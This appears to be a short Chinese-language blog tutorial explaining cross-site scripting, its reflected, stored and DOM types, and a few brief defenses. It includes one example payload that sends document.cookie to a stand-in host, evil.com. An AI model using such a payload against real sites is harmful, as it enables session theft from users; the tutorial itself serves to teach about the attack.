xss攻击

一、什么是XSS?

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。
script标签可以嵌入第三方资源,这是浏览器允许的,对于嵌入的脚本内容,会与本域的脚本内容一样,在整个脚本上下文环境中存在。

跨域脚本,突破的是浏览器的同源策略。简单的说就是想尽一切办法让你的脚本内容在目标网站中目标用户的浏览器上解析执行即可。

简单的例子:

new Image().src = "http://www.evil.com/steal.php?data="+escape(document.cookie);

二、XSS分类

XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS

反射型XXS

发出请求时,XSS代码出现在URL中,作为输入提交到服务端,服务端解析后响应,响应内容中出现这段XSS代码,最后浏览器解析执行。这个过程就像一次反射。

存储型XSS

提交的XSS代码会存储在服务端,下次请求目标页面时不用再提交XSS代码。最典型的例子就是留言板。存储型XSS攻击是最隐蔽的。

DOM XSS

与前2这最大不同是不需要服务器的参与。触发XSS靠的就是浏览器端的DOM解析。

如何防范跨站脚本攻击

  • 部署WAF Web 应用层防火墙
  • 过滤所有HTTML JS CSS标签
  • 过滤异常字符编码

推荐阅读更多精彩内容